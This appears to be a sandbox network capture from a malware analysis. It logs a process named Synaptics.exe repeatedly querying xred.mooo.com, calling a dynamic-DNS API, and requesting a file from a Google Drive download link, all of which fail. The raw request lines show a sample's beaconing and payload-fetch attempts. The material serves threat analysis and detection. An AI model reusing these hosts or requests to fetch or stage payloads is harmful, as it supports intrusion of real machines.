Jan 2, 2025 20:29:14.220374107 CET	50265	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:14.220385075 CET	443	50265	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:14.225960970 CET	443	50259	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:14.226006031 CET	443	50259	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:14.226017952 CET	50259	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:14.226026058 CET	443	50259	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:14.226041079 CET	50259	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:14.226068974 CET	50259	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:14.226072073 CET	443	50259	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:14.226104975 CET	443	50259	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:14.226106882 CET	50259	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:14.226140976 CET	50259	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:14.226855040 CET	50259	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:14.226867914 CET	443	50259	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:14.227792978 CET	50266	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:14.227811098 CET	443	50266	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:14.228035927 CET	50266	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:14.228236914 CET	50266	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:14.228246927 CET	443	50266	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:14.245547056 CET	443	50261	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:14.245621920 CET	50261	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:14.245646954 CET	443	50261	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:14.245687962 CET	50261	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:14.247225046 CET	50261	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:14.247265100 CET	443	50261	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:14.247308016 CET	50261	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:14.251020908 CET	50267	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:14.251070976 CET	443	50267	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:14.251343966 CET	50267	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:14.252583027 CET	50267	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:14.252608061 CET	443	50267	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:14.376286983 CET	443	50260	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:14.376328945 CET	443	50260	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:14.376385927 CET	50260	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:14.376420021 CET	443	50260	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:14.376436949 CET	50260	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:14.376463890 CET	50260	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:14.376537085 CET	443	50260	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:14.376573086 CET	50260	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:14.376585007 CET	443	50260	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:14.376619101 CET	50260	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:14.377197981 CET	50260	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:14.377213955 CET	443	50260	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:14.377754927 CET	50268	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:14.377799988 CET	443	50268	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:14.377868891 CET	50268	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:14.378083944 CET	50268	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:14.378097057 CET	443	50268	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:14.851819038 CET	443	50265	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:14.852055073 CET	50265	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:14.853288889 CET	443	50265	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:14.853835106 CET	50265	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:14.860855103 CET	443	50266	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:14.861469030 CET	50266	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:14.899059057 CET	443	50267	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:14.899120092 CET	50267	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:14.899857998 CET	443	50267	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:14.899907112 CET	50267	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:15.036580086 CET	443	50268	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:15.036637068 CET	50268	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:26.773988008 CET	50268	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:26.774014950 CET	443	50268	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:26.777061939 CET	50266	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:26.777086973 CET	443	50266	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:26.777260065 CET	50268	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:26.777268887 CET	443	50268	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:26.777375937 CET	50266	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:26.777381897 CET	443	50266	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:26.793431044 CET	50267	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:26.793452978 CET	443	50267	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:26.793832064 CET	443	50267	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:26.793951035 CET	50267	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:26.794348001 CET	50267	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:26.801234961 CET	50265	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:26.801249027 CET	443	50265	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:26.801580906 CET	443	50265	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:26.801675081 CET	50265	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:26.802062988 CET	50265	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:26.839358091 CET	443	50267	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:26.843333006 CET	443	50265	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:27.135847092 CET	443	50267	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:27.135931969 CET	50267	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:27.135961056 CET	443	50267	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:27.136007071 CET	50267	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:27.136130095 CET	443	50267	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:27.136178017 CET	50267	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:27.137475014 CET	443	50265	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:27.137533903 CET	50265	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:27.137543917 CET	443	50265	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:27.137553930 CET	443	50265	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:27.137604952 CET	50265	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:27.142074108 CET	443	50268	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:27.142141104 CET	50268	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:27.142162085 CET	443	50268	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:27.142199993 CET	50268	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:27.142205000 CET	443	50268	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:27.142241955 CET	50268	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:27.142330885 CET	443	50268	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:27.142371893 CET	50268	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:27.142416954 CET	443	50268	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:27.142465115 CET	50268	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:27.142549038 CET	443	50268	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:27.142595053 CET	50268	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:27.298603058 CET	443	50266	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:27.298675060 CET	50266	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:27.298690081 CET	443	50266	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:27.298769951 CET	50266	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:27.298777103 CET	443	50266	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:27.298839092 CET	50266	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:27.299478054 CET	443	50266	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:27.299590111 CET	50266	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:27.299597025 CET	443	50266	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:27.299657106 CET	443	50266	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:27.299693108 CET	50266	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:27.299706936 CET	50266	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:34.960019112 CET	49735	80	192.168.2.6	69.42.215.252
Jan 2, 2025 20:29:34.963336945 CET	50265	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:34.965879917 CET	50268	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:34.966618061 CET	50266	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:34.966618061 CET	50267	443	192.168.2.6	142.250.185.78

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 20:28:13.903496027 CET	55850	53	192.168.2.6	1.1.1.1
Jan 2, 2025 20:28:13.910712957 CET	53	55850	1.1.1.1	192.168.2.6
Jan 2, 2025 20:28:14.767283916 CET	53761	53	192.168.2.6	1.1.1.1
Jan 2, 2025 20:28:14.774384975 CET	53	53761	1.1.1.1	192.168.2.6
Jan 2, 2025 20:28:14.780153036 CET	59077	53	192.168.2.6	1.1.1.1
Jan 2, 2025 20:28:14.787079096 CET	53	59077	1.1.1.1	192.168.2.6
Jan 2, 2025 20:28:14.962317944 CET	57517	53	192.168.2.6	1.1.1.1
Jan 2, 2025 20:28:14.969621897 CET	53	57517	1.1.1.1	192.168.2.6
Jan 2, 2025 20:28:21.278198004 CET	62432	53	192.168.2.6	1.1.1.1
Jan 2, 2025 20:28:21.285250902 CET	53	62432	1.1.1.1	192.168.2.6
Jan 2, 2025 20:28:28.105489016 CET	55254	53	192.168.2.6	1.1.1.1
Jan 2, 2025 20:28:28.153844118 CET	53	55254	1.1.1.1	192.168.2.6
Jan 2, 2025 20:28:32.683593988 CET	60816	53	192.168.2.6	1.1.1.1
Jan 2, 2025 20:28:32.810209036 CET	53	60816	1.1.1.1	192.168.2.6
Jan 2, 2025 20:28:38.463977098 CET	53672	53	192.168.2.6	1.1.1.1
Jan 2, 2025 20:28:38.474575996 CET	53	53672	1.1.1.1	192.168.2.6
Jan 2, 2025 20:28:45.260590076 CET	64280	53	192.168.2.6	1.1.1.1
Jan 2, 2025 20:28:45.267798901 CET	53	64280	1.1.1.1	192.168.2.6
Jan 2, 2025 20:28:52.104909897 CET	52630	53	192.168.2.6	1.1.1.1
Jan 2, 2025 20:28:52.112416983 CET	53	52630	1.1.1.1	192.168.2.6
Jan 2, 2025 20:28:56.651978970 CET	61163	53	192.168.2.6	1.1.1.1
Jan 2, 2025 20:28:56.659295082 CET	53	61163	1.1.1.1	192.168.2.6
Jan 2, 2025 20:29:02.323913097 CET	50158	53	192.168.2.6	1.1.1.1
Jan 2, 2025 20:29:02.330961943 CET	53	50158	1.1.1.1	192.168.2.6
Jan 2, 2025 20:29:09.120270014 CET	53614	53	192.168.2.6	1.1.1.1
Jan 2, 2025 20:29:09.129797935 CET	53	53614	1.1.1.1	192.168.2.6
Jan 2, 2025 20:29:13.846837997 CET	50194	53	192.168.2.6	1.1.1.1
Jan 2, 2025 20:29:13.858025074 CET	53	50194	1.1.1.1	192.168.2.6
Jan 2, 2025 20:29:26.776009083 CET	51110	53	192.168.2.6	1.1.1.1
Jan 2, 2025 20:29:26.783149958 CET	53	51110	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 2, 2025 20:28:13.903496027 CET	192.168.2.6	1.1.1.1	0x3146	Standard query (0)	docs.google.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:14.767283916 CET	192.168.2.6	1.1.1.1	0xfbf2	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:14.780153036 CET	192.168.2.6	1.1.1.1	0x682d	Standard query (0)	freedns.afraid.org	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:14.962317944 CET	192.168.2.6	1.1.1.1	0x7897	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:21.278198004 CET	192.168.2.6	1.1.1.1	0xfa40	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:28.105489016 CET	192.168.2.6	1.1.1.1	0xdc91	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:32.683593988 CET	192.168.2.6	1.1.1.1	0x84d1	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:38.463977098 CET	192.168.2.6	1.1.1.1	0x9318	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:45.260590076 CET	192.168.2.6	1.1.1.1	0xb843	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:52.104909897 CET	192.168.2.6	1.1.1.1	0x6d97	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:56.651978970 CET	192.168.2.6	1.1.1.1	0xed78	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:02.323913097 CET	192.168.2.6	1.1.1.1	0x8a91	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:09.120270014 CET	192.168.2.6	1.1.1.1	0x4d0e	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:13.846837997 CET	192.168.2.6	1.1.1.1	0x3fd2	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:26.776009083 CET	192.168.2.6	1.1.1.1	0xd78a	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 2, 2025 20:28:11.805636883 CET	1.1.1.1	192.168.2.6	0x74f4	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 2, 2025 20:28:11.805636883 CET	1.1.1.1	192.168.2.6	0x74f4	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:13.910712957 CET	1.1.1.1	192.168.2.6	0x3146	No error (0)	docs.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:14.774384975 CET	1.1.1.1	192.168.2.6	0xfbf2	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:14.787079096 CET	1.1.1.1	192.168.2.6	0x682d	No error (0)	freedns.afraid.org		69.42.215.252	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:14.969621897 CET	1.1.1.1	192.168.2.6	0x7897	No error (0)	drive.usercontent.google.com		142.250.185.65	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:21.285250902 CET	1.1.1.1	192.168.2.6	0xfa40	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:28.153844118 CET	1.1.1.1	192.168.2.6	0xdc91	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:32.810209036 CET	1.1.1.1	192.168.2.6	0x84d1	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:38.474575996 CET	1.1.1.1	192.168.2.6	0x9318	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:45.267798901 CET	1.1.1.1	192.168.2.6	0xb843	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:52.112416983 CET	1.1.1.1	192.168.2.6	0x6d97	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:28:56.659295082 CET	1.1.1.1	192.168.2.6	0xed78	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:02.330961943 CET	1.1.1.1	192.168.2.6	0x8a91	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:09.129797935 CET	1.1.1.1	192.168.2.6	0x4d0e	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:13.858025074 CET	1.1.1.1	192.168.2.6	0x3fd2	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:16.713100910 CET	1.1.1.1	192.168.2.6	0xb7b9	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 2, 2025 20:29:16.713100910 CET	1.1.1.1	192.168.2.6	0xb7b9	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 2, 2025 20:29:26.783149958 CET	1.1.1.1	192.168.2.6	0xd78a	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

docs.google.com

drive.usercontent.google.com

freedns.afraid.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49735	69.42.215.252	80	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 20:28:14.793260098 CET	154	OUT	GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1 User-Agent: MyApp Host: freedns.afraid.org Cache-Control: no-cache
Jan 2, 2025 20:28:15.415700912 CET	243	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 02 Jan 2025 19:28:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Cache: MISS Data Raw: 31 66 0d 0a 45 52 52 4f 52 3a 20 43 6f 75 6c 64 20 6e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 2e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fERROR: Could not authenticate.0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49727	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:14 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:15 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:14 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-MPvKeG-EXPSXJuTfw7DkSw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49726	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:14 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:14 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:14 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-GATElZd26CZkDikaDSYGQQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49736	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:15 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:15 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:15 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-5FtEe7gd55TIn6tuiFkJ7Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49737	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:15 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-02 19:28:16 UTC	1594	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4D2-XafB568cNXKOGRfZSaHQhpMBow733ofLeswvFsdBuyu2PuLIhZIxIs397ELw3U Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:15 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'report-sample' 'nonce-zWPyk5IA9aksQt-Esg7QWg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=HZAU1e_6zD1Tbvh2IrBgA-dj-MiKcypl2SZc0T0_IXcvLUKbbfDhrJt58FvFgGgjCVwb4NUkUxuAa4cEVCBs1n6rVz4utIPxA_t6ucoTwll7r5mMtwCeaguFKVKoDqjfKS6r0YP-L2NJTK7qP8Xg_hf7LPbOhKiobzWCvQ5GX7EfE7pgZkxXI0I; expires=Fri, 04-Jul-2025 19:28:15 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:16 UTC	1594	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 78 73 5a 45 2d 31 72 6d 31 53 6c 77 5a 69 6d 48 46 61 58 66 6c 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style 